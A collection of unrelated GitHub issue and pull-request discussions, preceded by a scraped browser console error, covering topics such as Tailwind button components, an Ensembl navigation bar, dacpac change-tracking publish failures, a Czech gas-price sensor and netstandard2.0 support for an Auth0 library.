NotFoundError: Failed to execute 'insertBefore' on 'Node': The node before which the new node is to be inserted is not a child of this node.
at aZ (71d5b396-67cd7e101fea6d35.js:1:75848)
at aZ (71d5b396-67cd7e101fea6d35.js:1:75929)
at a7 (71d5b396-67cd7e101fea6d35.js:1:84024)
at a5 (71d5b396-67cd7e101fea6d35.js:1:78506)
at a6 (71d5b396-67cd7e101fea6d35.js:1:78373)
at a5 (71d5b396-67cd7e101fea6d35.js:1:81025)
at a6 (71d5b396-67cd7e101fea6d35.js:1:78373)
at a5 (71d5b396-67cd7e101fea6d35.js:1:78498)
at a6 (71d5b396-67cd7e101fea6d35.js:1:78373)
at a5 (71d5b396-67cd7e101fea6d35.js:1:78498)
window.console.error @ 963-a3881321074a5fbe.js:1Understand this error
963-a3881321074a5fbe.js:1 NotFoundError: Failed to execute 'removeChild' on 'Node': The node to be removed is not a child of this node.
at a2 (71d5b396-67cd7e101fea6d35.js:1:76620)
at a1 (71d5b396-67cd7e101fea6d35.js:1:76044)
at a2 (71d5b396-67cd7e101fea6d35.js:1:76857)
at a1 (71d5b396-67cd7e101fea6d35.js:1:76044)
at a2 (71d5b396-67cd7e101fea6d35.js:1:77133)
at a1 (71d5b396-67cd7e101fea6d35.js:1:76044)
at a2 (71d5b396-67cd7e101fea6d35.js:1:77325)
at a1 (71d5b396-67cd7e101fea6d35.js:1:76044)
at a2 (71d5b396-67cd7e101fea6d35.js:1:77133)
at a1 (71d5b396-67cd7e101fea6d35.js:1:76044)
window.console.error @ 963-a3881321074a5fbe.js:1Understand this error
/favicon.ico:1

Try new version.


[FEATURE]: new tailwindss buttons

Description
If you have any button design which can be built in tailwindcss, create issue and start working on it

The final code should be placed under path tailwind_components/buttons with file name as <button_name>_button1.jsx
The file as to be imported to tailwind_components/buttons/collection.js file as per example and added to the buttonCollections list
Post these process, go to components tab in website and check whether the codepen is updated

For any issue while creating / importing the component code file, check below sample files
https://github.com/jsvigneshkanna/tailwind_ui_components/tree/master/tailwind_components/buttons
For icons please refer - https://heroicons.com/
Screenshot of the tailwind component
Add screenshot of your button design which you are building
Are you taking this fetaure implementaion
No

I will like to work on this

@iamkennis ,
Look for issue where you can build the button component in tailwindcss, and comment there

okay

i will work on this

@bhautikposhiya
Check this figma for form/input fields and build components which you are comfortable on with tailwindcss
https://www.figma.com/file/0eqV7t3UKKM14UeqCSfOZb/Essential-UI---Figma-Ui-Kit-(Community)?node-id=688%3A1988
Check similar PRs for files to be modified

Yeah sure creating them

Please assign me to one you create once you are done

@iamkennis ,
I have raised many more issue/features request. please look on it


Enhancements and new functionality for navigation bar

Type

[ ] Bug fix
[x] New feature
[x] Improvement to existing feature

Related JIRA Issue(s)
https://www.ebi.ac.uk/panda/jira/browse/ENSWBSITES-209
https://www.ebi.ac.uk/panda/jira/browse/ENSWBSITES-210
https://www.ebi.ac.uk/panda/jira/browse/ENSWBSITES-211
https://www.ebi.ac.uk/panda/jira/browse/ENSWBSITES-215
https://www.ebi.ac.uk/panda/jira/browse/ENSWBSITES-175
Description
This PR covers five JIRA tickets (mentioned above) of the change focus region epic (https://www.ebi.ac.uk/panda/jira/browse/ENSWBSITES-275).
The genome selector, which was in the browser bar, is now replaced by a region field and region editor in the browser navigation bar. These new inputs will let users navigate to different regions and/or slice within the same feature.
Also, test cases were written for browser components that did not have any.
Views affected
Genome browser
Other effects

[ ] I have checked any requirements for Google Analytics
[x] I have created any required tests
[ ] The PR has as its final commit a WASM/JS update commit if any Rust files were updated.

General problem: if we put cursor anywhere inside the number representing the location and delete one of the characters to the right or to the left, the cursor will be thrown to the end of the number:

As a user, I would find it annoying.
One special case of this is that if we try to delete a comma, the number won't change, and the cursor will be thrown to the end of the number:

I would suggest not re-calculating the comma-separated representation of the number while the user changes the input, and do the recalculation only after they submit the input. I think Andrea agreed to that when we discussed the behaviour of the input.

@azangru Andrea wanted the region field to behave so, but not the region editor's start and end. Therefore, the masking for these fields. But we can check with her again about this.

Not sure whether this needs to be addressed in this ticket (probably not), but the fact that the interface breaks on screens as wide as 1400px is worrying:

E.g. it's broken on my 13-inch laptop 😞

Thanks for spotting. It doesn't need fixing in this ticket, but obv does need fixing. I'll create another

@azangru @msmanoj I made two more commits after Kamal added the parse error message to the validation endpoint. Can you please have a look at the PR again (or the last few commits).


Publishing dacpac will fail if table has CHANGE_TRACKING ON

Type: Bug
Steps to Reproduce:

Create a database with CHANGE_TRACKING enabled and a table with CHANGE_TRACKING enabled
Publish the same database without changes and it will fail.

When looking further into the sqlcmd script that is created, we see that the following code is run BEFORE pre-deployment scripts:
IF EXISTS (SELECT 1
FROM   [sys].[databases]
WHERE  [name] = N'$(DatabaseName)')
BEGIN
ALTER DATABASE [$(DatabaseName)]
SET CHANGE_TRACKING = OFF
WITH ROLLBACK IMMEDIATE;
END
GO
As such it is impossible to have change-tracking on a table when publishing. There should be settings in the .publish.xml file to comment out / disable these lines of code.
Extension version: 1.4.2
Azure Data Studio version: azuredatastudio 1.48.0<PHONE_NUMBER>ef8254b7c22a5dc55af7f8a1dea93f, 2024-02-27T00:05:08.293Z)
OS version: Windows_NT x64 10.0.19045
Restricted Mode: No
Preview Features: Enabled
Modes:

System Info

Item
Value

CPUs
Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz (12 x 2208)

GPU Status
2d_canvas: enabledcanvas_oop_rasterization: enabled_ondirect_rendering_display_compositor: disabled_off_okgpu_compositing: enabledmultiple_raster_threads: enabled_onopengl: enabled_onrasterization: enabledraw_draw: disabled_off_okvideo_decode: enabledvideo_encode: enabledvulkan: disabled_offwebgl: enabledwebgl2: enabledwebgpu: enabled

Load (avg)
undefined

Memory (System)
15.74GB (2.20GB free)

Process Argv

Screen Reader
no

VM
0%

Trying to ask if is this addressed ?. I ran into same issue

@GardarG  : Things worked for me by setting below options in publish file & I no longer see ALTER DB SET CHANGE_TRACKING = OFF WITH ROLLBACK IMMEDIATE;
DoNotAlterChangeDataCaptureObjects = False
DoNotAlterReplicatedObjects = False
ScriptDatabaseOptions = False
IgnoreTableOptions = False

However I still see a comment in deployment script with PRINT N'Altering table [].[]...;' for the table with CDC enabled in my database. But no actual code beneath the comment.  Not sure if this is bug or anything to do with my setting.
Please let me know if you see the same on your end.

I am facing the same problems and am not sure how to solve them. I got the first 2 options DoNotAlterChangeDataCaptureObjects = False, DoNotAlterReplicatedObjects = False
However for the last 2 still struggling.
Please tell if there is any solution for it.

I found one solution where you can enable change detection on the database level.
Project Settings -> Database Settings -> Operational


Rename Timescale namespace to Timescaledb

Closes #6
I also made some changes in README.md to reflect renaming the gem to Timescaledb. I'm not sure if it'd be worth to rename some private methods e.g. timescale_hypertable to timescaledb_hypertable in schema_dumper.rb.
/cc @jonatas

Repo renamed. I'll release the new version soon I'm able to get my 2FA working again. Talking with RubyGems support now 🤞 🙏


[Feature Request] Client capabilities support

Smart Session Management (SSM) sometimes referred to as the long lived tokens (LLT) scenario require MSAL to allow developers to resolve challenges (formatted as claims request parameters) to be resolved silently rather than interactively.  Current releases of MSAL assume that interaction is required whenever a claims request parameter is included in the request.
This change in behavior requires the client to indicate that it's aware of a new calling pattern relative to the use of MSAL.
API/Design details:
https://identitydivision.visualstudio.com/DevEx/_git/AuthLibrariesApiReview?path=%2FClientCapabilities%2Foverview.md&version=GBdev
Is your feature request related to a problem? Please describe.
Related internal work item:
https://identitydivision.visualstudio.com/Engineering/_workitems/edit/824806

https://github.com/AzureAD/microsoft-authentication-library-for-dotnet/issues/1545


Unable to listen queue when fetch mode is set to ASSOC

I created command that implements ShouldBeQueued interface
After launching artisan queue:listen I got error
exception 'ErrorException' with message 'Trying to get property of non-object' in /home/vagrant/Code/laravel/vendor/laravel/framework/src/Illuminate/Queue/DatabaseQueue.php:151
If change fetch_assoc to OBJ -> everithing is fine

Could you provide an isolated case we can try, or submit a failing test please. Also, provide the laravel version.

Laravel v5.0.5
Steps to reproduce:

Setup framework, configure db access
Change db settings 'fetch' to PDO::FETCH_ASSOC
Create command that implements interface ShouldBeQueued
Up migrations
run artisan queue:listen
handle command

Result
Error has happened.
exception 'ErrorException' with message 'Trying to get property of non-object' in /home/vagrant/Code/laravel/vendor/laravel/framework/src/Illuminate/Queue/DatabaseQueue.php:151
Expect
Command should be successfully processed


When email is sent to job applicant job title  should be added in the calendar invite

Is your feature request related to a problem? Please describe.
Whenever email is sent  job applicant for the interview, job title should be included along with the applicant name in the calendar invite.
Describe the solution you'd like
Create functionality to add job title along with the job applicant name in calendar invite.
This will help in interviewer to keeping records of scheduled interviews for the day.

Calendar image for reference

@Shivam-Samant can you make small checkpoints for this issue, so that @JCArya can work on individual items ?


Implement new top nav

This is on hold until @luciaaaaaaa has a new prototype based on the new Marketing top nav


fix: don't wrap separator line

Fixes #343

You're cranking these out fast! 🚀

There's nothing like starting the day at 5am with a little bit of bug fixing.


Gas sensor

Hi, could you implement also gas data https://www.ote-cr.cz/en/short-term-markets/gas/intra-day-market?date=2023-01-01 ? díky

It's on my todo list, should be quite easy. But I want to improve the electricity-related sensors first.

I have dug into it and discovered that the OTE API does not provide the InEur boolean that allows switching prices between CZK and EUR.
from zeep import Client
client = Client("https://www.ote-cr.cz/services/PublicDataService/wsdl")
print(client.service.GetImPriceG(StartDate='2023-01-22', EndDate='2023-01-23'))

Output:
[{
     'Date': datetime.date(2023, 1, 22),
     'Price': Decimal('69.32'),
     'Volume': Decimal('5740.9'),
     'MinPrice': Decimal('67.50'),
     'MaxPrice': Decimal('71.49'),
     'IndexOte': None
 },
 {
     'Date': datetime.date(2023, 1, 23),
     'Price': Decimal('0.00'),
     'Volume': Decimal('0.0'),
     'MinPrice': Decimal('0.00'),
     'MaxPrice': Decimal('0.00'),
     'IndexOte': None
 }]

At first, I thought: As the integration has the setting for the currency, it would be good to come up with some way to convert the currency. But technically, we would need to fetch the EUR/CZK rate from $SOMEWHERE. That suggests some API. I have also looked at that area and can say that most of the public currency rate APIs are limited by requests per day/month and require authentication using a token. I believe
But I have changed my mind. I  would say that the integration should only fetch the data from OTE API and publish values as HA sensors as it does now.
@rnovacek The integration would need to perform two separate queries in order to get the electricity and gas data.
I have checked the code structure, but I was unable to quickly see what the best and not messy patch would be. I will try to give it a second shot and maybe I will come up with something smart. Do you have any thoughts or ideas about this topic to share? What is your opinion on currency conversion?
Feel free to switch to Czech. I just wanted to keep this thread in English to not be the first one to change the language. :smile:

@rnovacek I would be happy to hear your thoughts.

I had a currency conversion code in first versions of this integration - before I found out that the API can convert the prices automatically. I can dig it up. It was using ČNB API.
I'm still quite short on time, but would love to do it at some point.

I think you're right, the correct API call is GetImPriceG as described here https://www.ote-cr.cz/cs/dokumentace/dokumentace-elektrina/files_dokumentace/uzivatelsky_manual_webove_sluzby_ote.pdf
What sensors would you like to see? Just PriceToday and PriceTomorrow? Or are the MinPrice and MaxPrice important as well?
Do you know how the data works? When are data for next day published?
Any additional sensors ideas? Something that might be useful?

Could someone explain how the gas spot prices work? There are Price, MinPrice and MaxPrice. I tried to use just the Price as I assumed it's the same for whole day, but apparently it varies during a day (not by much):

Is it ok to have that in a sensor? Do we also need the min/max? And the tomorrow price is know for a whole day before?

@rnovacek Thank you for the time and effort you put into it! Having only PriceToday and PriceTomorrow is fine for me, I am interested in PriceToday the most.

Do you know how the data works? When are data for next day published?

I do not. I am also short on time these days, unfortunately.

Any additional sensors ideas? Something that might be useful?

The ČNB API looks stupidly simple it may be a way to convert the prices. I have also seen some python libraries that simplifies access to the data.
I have no other ideas about sensors or useful information. Feel free to poke me anytime. I am always available to at least test any changes.

I have added the gas sensor (pretty basic for now, tell me what you need) - it's released as experimental version 0.4.0b0. Please give me some feedback as I don't use gas personally.

@rnovacek thank you for taking the time and implementing it. I like the way you did the patch. :+1:
I have had the beta version installed for two days and discovered that if OTE does not provide the gas price, the integration sets the price to zero.

I would expect the price not to change in such a situation and keep the last value instead - do not update the sensor.

@ogajduse This should be fixed in the latest version. If not, please reopen this ticket.


Add target framework netstandard 2.0 so Auth0Net.DependencyInjection can be used in .NET Framework and .NET 5.0

I've successfully used Auth0Net.DependencyInjection in a .NET 8.0 Blazor Web Application project to integrate with Auth0's Management API.
I now need to do the same in three ASP.NET web applications running on .NET Framework 4.8. These can unfortunately not be migrated to .NET Core: their codebase is too large.
This pull request adds netstandard2.0 as a target framework, and I've added net48 to the test project's target frameworks to ensure test coverage for .NET Framework 4.8.
Since System.Net.Http.SocketsHttpHandler is not supported in netstandard2.0, I've excluded it with a preprocessor directive, so the default implementation is used instead.
        return services.AddHttpClient<IManagementConnection, HttpClientManagementConnection>()
#if !NETSTANDARD2_0
            .ConfigurePrimaryHttpMessageHandler(() =>
                new SocketsHttpHandler()
                {
                    PooledConnectionLifetime = TimeSpan.FromMinutes(2)
                })
#endif

@Hawxy could you please review and comment here if necessary?
Note: I updated the Auth0Net.DependencyInjection version to 3.1.1.

Whilst I appreciate the contribution, I'm not exactly thrilled that it's in the form of some tech debt.

I now need to do the same in three ASP.NET web applications running on .NET Framework 4.8.

Could you proxy the requests via a central API or is direct access a firm requirement? Are those projects using a modern enough IoC container to work with the extensions in this project (implements IServiceCollection)?

Since System.Net.Http.SocketsHttpHandler is not supported in netstandard2.0

Just a note that this will result in the client breaking if a DNS record gets changed, although that probably doesn't matter.

Hi Hawxy, thanks for your review.
The requests to Auth0 could be proxied over a new REST service, but this adds considerable overhead for us: A new service to build and maintain, new DNS entries for 4 environments, and a new pipeline to build and deploy the service to the environments. We would like to avoid this overhead, if possible.
Since the Auth0 official packages do target netstandard2.0, and supporting this target framework was quite straightforward, I assumed a PR here adding netstandard2.0 support would be the best solution.
I wasn't aware of the Polyfill package that you mentioned; I'll look into this shortly.
Could you give some additional info regarding the DNS problem that System.Net.Http.SocketsHttpHandler solves? I'd be very interested what is all about.

I've replaced IsExternalInit.cs with package reference Polyfill

Thanks. The package needs to be added to the library itself for the netstandard target and not the test project as netfx consumers of the library will require the polyfill.

I assume the DNS behavior problem won't affect us.

My comments have nothing to do with your own application code, this is specific to how I designed this library. I use long-lived injected httpclients due to the auth0 clients being singletons for perf reasons. I'm configuring SocketsHttpHandler to get around this issue, which you've put behind a compilation flag. You'll get a single, long lived handler for the lifetime of the application whilst using the auth0 clients under netfx, thus the dns issue may appear, as unlikely as it is.

some documentation pointing to this recommended use

I don't feel this is necessary.
I'll merge this in tomorrow and get a new release out.


a better design for get auto table id

What problem does this PR solve?
This PR closes #810
What is changed and how it works?
Move getAutoTableID out from CatalogTransaction in RowIDAllocator.
Check List
Tests

Integration test

/run-all-tests


Avoid accidental removal of pages when ancestor id is missing

This pull request newly defines the ancestor id as a mandatory parameter and introduces a symbolic name (SPACE_ROOT) to refer to the space id (as the space id cannot be found easily using the confluence UI).
Resolves #44

Coverage increased (+0.02%) to 86.64% when pulling 5b68c9363e064adb18000d0278ae922242913968 on feature/44-change-ancestor-id-to-be-mandatory into 84613cfd0b3afceb008b7f8f56fe2018560d041d on master.